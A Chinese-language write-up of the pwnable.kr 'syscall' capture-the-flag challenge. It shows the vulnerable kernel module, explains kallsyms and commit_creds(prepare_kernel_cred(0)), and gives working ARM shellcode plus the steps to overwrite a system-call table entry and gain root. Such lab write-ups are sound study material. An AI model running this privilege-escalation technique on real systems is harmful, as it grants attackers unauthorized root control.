Skip to content

Pwnable.kr syscall

复制本地路径 | 在线编辑

题目其实很简单,但这是第一次遇到内核权限提升,知道了很多新鲜的东西,所以记录一下。

原始文件

下面是原始的内核模块源码,其中 initmodule 就是把模块加载到内存的函数,任何内核模块源码都要实现这个函数。

可以看到源文件其实真的很简单,它定义了 sys_upper 函数,然后通过 sct[NR_SYS_UNUSED] = sys_upper;sys_upper 函数添加到内核的系统调用表中。

这个 sys_upper 可以修改任意地址,只是修改的内容不包含小写字母。

#define SYS_CALL_TABLE      0x8000e348      // manually configure this address!!
#define NR_SYS_UNUSED       223

//Pointers to re-mapped writable pages
unsigned int** sct;

asmlinkage long sys_upper(char *in, char* out){
    int len = strlen(in);
    int i;
    for(i=0; i<len; i++){
        if(in[i]>=0x61 && in[i]<=0x7a){
            out[i] = in[i] - 0x20;
        }
        else{
            out[i] = in[i];
        }
    }
    return 0;
}

static int __init initmodule(void ){
    sct = (unsigned int**)SYS_CALL_TABLE;
    sct[NR_SYS_UNUSED] = sys_upper;
    printk("sys_upper(number : 223) is added\n");
    return 0;
}

static void __exit exitmodule(void ){
    return;
}

module_init( initmodule );
module_exit( exitmodule );

一些说明

1. Linux 内存空间中,低地址是用户进程可访问的,而高地址处则是属于内核。例如,在 x86 的机器上,0x000000000xbfffffff 是属于进程的,而 0xc00000000xffffffff 属于内核。用户进程无法访问属于内核内存地址,反过来,内核可以访问属于进程的内存。请注意,上面这些都是虚拟地址,和物理地址没有任何关联。

2. Linux 系统运行时,系统调用表的地址是固定的(同样,是指虚拟地址)。

3. Linux 系统下每个进程拥有其对应的 struct cred,记录该进程的 uid。如果要修改 uid,需要在内核空间中执行:

// 修改 uid 为 new_uid,root 的 uid 是 0
// prepare_kernel_cred 创建一个新的 cred
// commit_creds 表示把这个 cred 设置为当前进程的 cred
commit_creds(prepare_kernel_cred(new_uid));

4. kallsyms 命令可以帮助我们查找系统调用表的具体位置。如查找 vmsplice 的地址,可以输入 cat /proc/kallsyms | grep sys_vmsplice。同理,像 commit_credsprepare_kernel_cred 也是系统调用,所以都可以用 kallsyms 找到。

kallsyms 具体含义:

1. 简单介绍
在 2.6 内核中,为了更好地调试内核,引入了kallsyms. kallsyms 抽取了内核用到的所有函数地址(全局的, 静态的)和非栈数据变量地址,生成一个数据块,作为只读数据链接进 kernel image,相当于内核中存了一个 System.map。
当然这个可以用户决定是否使用这个机制,使用 kallsyms 需要编译内核,配置选项要把 CONFIG_KALLSYMS 相关的设置好,见下文。

2. 相关文件
./scripts/kallsyms.c 负责生成 System.map
./kernel/kallsyms.c 负责生成 /proc/kallsyms
/proc/config.gz 内核编译选项

3. 内核编译
# 符号表中包含所有的函数
CONFIG_KALLSYMS=y   
# 符号表中包括所有的变量(包括没有用EXPORT_SYMBOL导出的变量)
CONFIG_KALLSYMS_ALL=y 
CONFIG_KALLSYMS_EXTRA_PASS=y

4. 详细作用
可以理解成是一个简单的数据块(符号和地址对应),并将此链接进 vmlinux 中去。如此,在需要的时候,内核就可以将符号地址信息以及符号名称都显示出来,方便开发者对内核代码的调试。完成这一地址抽取+数据快组织封装功能的相关子系统就称之为 kallsyms。
反之,如果没有 kallsyms 的帮助,内核只能将十六进制的符号地址呈现给外界,因为它能理解的只有符号地址,而并不包括人类可读的符号名称。用途的话,比如出错时,即产生 Oops 时,打印的信息不仅有地址,还有对应函数名,比较具有可读性。

思路

  1. 编写 shellcode
  2. 用户空间分配一块内存,并且把 shellcode 写进去
  3. 利用上面的 sys_upper 函数,修改内核的系统调用表,把某个系统调用地址改为 shellcode 的地址
  4. 调用这个篡改的系统调用,从而执行 shellcode

Step1: 编写 shellcode

对于内核的 exploit,不是就 cat flag 完事,而是要进行提权操作。其实就是前面第 3 条所说的,用 commit_credsprepare_kernel_cred 修改 uid 为 0,即改成 root 权限。

代码如下:

char *shellcode = "\xf0\x4f\x2d\xe9" //push
                  "\x02\x40\xa0\xe1" //mov r4, r2
                  "\x31\xff\x2f\xe1" //blx r1
                  "\x04\x10\xa0\xe1" //mov r1, r4
                  "\x31\xff\x2f\xe1" //blx r1
                  "\xf0\x4f\xbd\xe8" //pop
                  "\x1e\xff\x2f\xe1"; //bx lr

汇编代码可以通过如下方式得到:

$ rasm2 -a arm 'mov r1, r4'
0410a0e1

上面这个 shellcode 来自:https://rk700.github.io/2016/11/11/pwnable-kr-syscall/

执行这个 shellcode 时需要传入参数 0prepare_kernel_credcommit_creds 的地址。即最后实际上是:

shellcode(0, prepare_kernel_cred, commit_creds);

Step2: 分配内存并写进去

这个就太简单了,就用上面的 shellcode 变量就行了。

当然,如果担心 shellcode 是栈空间不能执行,或者 shellcode 地址中包含小写字母从而无法被 sys_upper 函数利用,那么可以使用 mmap 分配一块内存,然后写进去。

void *src = 0x40801000;
void *res = mmap(src, 4096, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_FIXED|MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
memcpy(res+0x10, shellcode, 28);

Step3: 利用 sys_upper 修改内核的系统调用表

调用就可以了,这里的 sys_vmsplice 就是我们向篡改的系统调用表的地址。通过 cat /proc/kallsyms | grep sys_vmsplice 可以找到 sys_vmsplice 的地址。

#define SYS_UPPER 223

// 修改 sys_vmsplice 系统调用,地址和偏移量可以用 kallsyms 找到
#define OVERWRITTEN 343
void * sys_vmsplice = (void *)0x800e3dc8;
syscall(SYS_UPPER, grant_privs, sys_vmsplice);

Step4: 调用篡改的系统调用

// prepare_kernel_cred 和 commit_creds 的地址可以用 kallsyms 找到
syscall(OVERWRITTEN, 0, prepare_kernel_cred, commit_creds);

番外

这篇文章有另一种 shellcode: http://alkalinesecurity.com/blog/ctf-writeups/pwnable-challenge-syscall/

.data:00000008 b501 push {r0, lr}         
.data:0000000a 1a92 subs r2, r2, r2       
.data:0000000c 1c10 adds r0, r2, #0       
.data:0000000e 46f0 mov r8, lr        
.data:00000010 4a02 ldr r2, [pc, #8] ; (0x0000001c) ;char c = src[i]
.data:00000012 4790 blx r2        
.data:00000014 4a02 ldr r2, [pc, #8] ; (0x00000020) ;dst[i] = c
.data:00000016 321c adds r2, #28          
.data:00000018 4790 blx r2  ;i++
.data:0000001a bd01 pop {r0, pc}    

.data:0000001c 8003f924
.data:00000020 8003f550

/ $ cat /proc/kallsyms|grep commit_creds
8003f56c T commit_creds
8044548c r __ksymtab_commit_creds
8044ffc8 r __kstrtab_commit_creds
/ $ cat /proc/kallsyms|grep prepare_kernel
8003f924 T prepare_kernel_cred
80447f34 r __ksymtab_prepare_kernel_cred
8044ff8c r __kstrtab_prepare_kernel_cred

博客原文:I gotta say this is my prettiest exploit. I put some artistry into this one. But the first thing to attempt is commit_creds(prepare_kernel_cred(0)) code that avoids null bytes and lower case characters. After a lot of finagling I came up with the following assembly:

这个 shellcode 可以不调用参数,已经用了一些 trick 把 prepare_kernel_cred 和 commit_creds 的地址写进去了,即最后直接执行:

// 原来是 syscall(OVERWRITTEN, 0, prepare_kernel_cred, commit_creds);
syscall(OVERWRITTEN);

参考

  1. http://alkalinesecurity.com/blog/ctf-writeups/pwnable-challenge-syscall/
  2. https://rk700.github.io/2016/11/11/pwnable-kr-syscall/